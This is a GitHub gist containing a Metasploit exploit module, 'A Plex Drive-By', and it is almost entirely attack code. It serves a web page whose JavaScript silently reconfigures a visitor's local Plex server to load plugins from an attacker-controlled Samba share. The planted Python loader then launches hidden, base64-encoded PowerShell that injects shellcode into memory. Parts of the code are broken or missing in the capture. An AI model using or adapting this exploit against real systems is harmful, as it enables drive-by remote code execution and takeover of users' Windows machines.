Skip to content

Instantly share code, notes, and snippets.

Last active January 9, 2018 21:11
Show Gist options
  • Save phikshun/9056951 to your computer and use it in GitHub Desktop.
Save phikshun/9056951 to your computer and use it in GitHub Desktop.
A Plex Drive-By
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = AverageRanking
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info = {})
'Name' => 'Plex Code Execution Vulnerability',
'Description' => %q{
This exploit hosts a web page, that uses and XHR PUT request to update the preferences
of a plex server hosted at It also creates a samba share which hosts a remote
plugin folder, with a malicious plugin loader script.
Be SURE to start an appropriate handler as a background job, since this exploit does not
launch a handler.
This exploit only works on Linux msf -- it expects Samba with a Debian/Kali file system
layout. Target must be Windows 7/8 x86/x64.
'Author' => [ 'Phikshun' ],
'License' => MSF_LICENSE,
'Version' => '$Revision: 14774 $',
'References' =>
[ 'URL', '' ],
'DefaultOptions' =>
'Platform' => 'win',
'Targets' =>
[ 'Windows 7/8 x86/x64', { 'Arch' => ARCH_X86 } ],
'Privileged' => false,
'DefaultTarget' => 0,
'DisclosureDate' => '0 day, yo'))
def setup
print_status('Building exploit')
FileUtils.mkdir('/tmp/msf_plex/Plex Media Server')
FileUtils.mkdir('/tmp/msf_plex/Plex Media Server/Plug-ins')
FileUtils.mkdir('/tmp/msf_plex/Plex Media Server/Plug-ins/Framework.bundle')
FileUtils.mkdir('/tmp/msf_plex/Plex Media Server/Plug-ins/Framework.bundle/Contents')
FileUtils.mkdir('/tmp/msf_plex/Plex Media Server/Plug-ins/Framework.bundle/Contents/Resources')
FileUtils.mkdir('/tmp/msf_plex/Plex Media Server/Plug-ins/Framework.bundle/Contents/Resources/Versions')
FileUtils.mkdir('/tmp/msf_plex/Plex Media Server/Plug-ins/Framework.bundle/Contents/Resources/Versions/2')
FileUtils.mkdir('/tmp/msf_plex/Plex Media Server/Plug-ins/Framework.bundle/Contents/Resources/Versions/2/Python')'/tmp/msf_plex/Plex Media Server/Plug-ins/Framework.bundle/Contents/Resources/Versions/2/Python/', 'w') do |f|
FileUtils.chmod_R 0777, '/tmp/msf_plex'
FileUtils.chmod 0444, '/tmp/msf_plex/Plex Media Server/Plug-ins/Framework.bundle/Contents/Resources/Versions/2/Python/'
print_status('Configuring Samba')
smb_conf ='/etc/samba/smb.conf')
unless smb_conf =~ /msfplex/
FileUtils.cp('/etc/samba/smb.conf', '/etc/samba/smb.conf.msfbak')'/etc/samba/smb.conf', 'a') do |f|
f.write("\n[msfplex]\n\npath = /tmp/msf_plex\nbrowseable = yes\nread only = no\nguest ok = yes\ncreate mask = 0777\ndirectory mask = 0777\n\n")
print_status("Restarting Samba: \n" + `service samba restart`)
print_status("Waiting for web request... be sure to start exploit/multi/handler")
def on_request_uri(cli, request)
send_response(cli, javascript_exploit, { 'Content-Type' => 'text/html', 'Pragma' => 'no-cache' })
def javascript_exploit
js = <<-EOS
<title>Plex Pwn</title>
<script src='' type='text/javascript'></script>
type: 'PUT',
url: 'http://localhost:32400/:/prefs?LocalAppDataPath=%5C%5C' +[0-9]+/,'') + '%5Cmsfplex',
success: function(response) {
error: function() {
$('#output').html("No service found on localhost:32400");
setTimeout(function() {
type: 'GET',
url: 'http://localhost:32400/:/plugins/com.plexapp.system/restart',
success: function(response) { }
}, 2000);
<pre id="output">
def python_exploit
# Create powershell script that will inject shell code from the selected payload
ps = "$code = @\"
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
public static extern IntPtr memset(IntPtr dest, uint src, uint count);
$winFunc = Add-Type -memberDefinition $code -Name \"Win32\" -namespace Win32Functions -passthru
[Byte[]]$sc =#{Rex::Text.to_hex(payload.encoded).gsub('\\',',0').sub(',','')}
$size = 0x1000
if ($sc.Length -gt 0x1000) {$size = $sc.Length}
for ($i=0;$i -le ($sc.Length-1);$i++) {$winFunc::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1)}
# Unicode encode powershell script
ps_uni = Rex::Text.to_unicode(ps)
# Base64 encode unicode
ps_b64 = Rex::Text.encode_base64(ps_uni)
# Final arguments for powershell
args = "-w hidden -nop -ep bypass -noexit -encodedCommand #{ps_b64}"
psh64 = "c:\\\\windows\\\\syswow64\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe #{args}"
psh32 = "c:\\\\windows\\\\system32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe #{args}"
bootstrap_py = <<-EOS
import os
import subprocess
if "powershell.exe" not in subprocess.check_output('tasklist /FI "IMAGENAME eq powershell.exe"'):
if 'PROGRAMFILES(X86)' in os.environ:
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment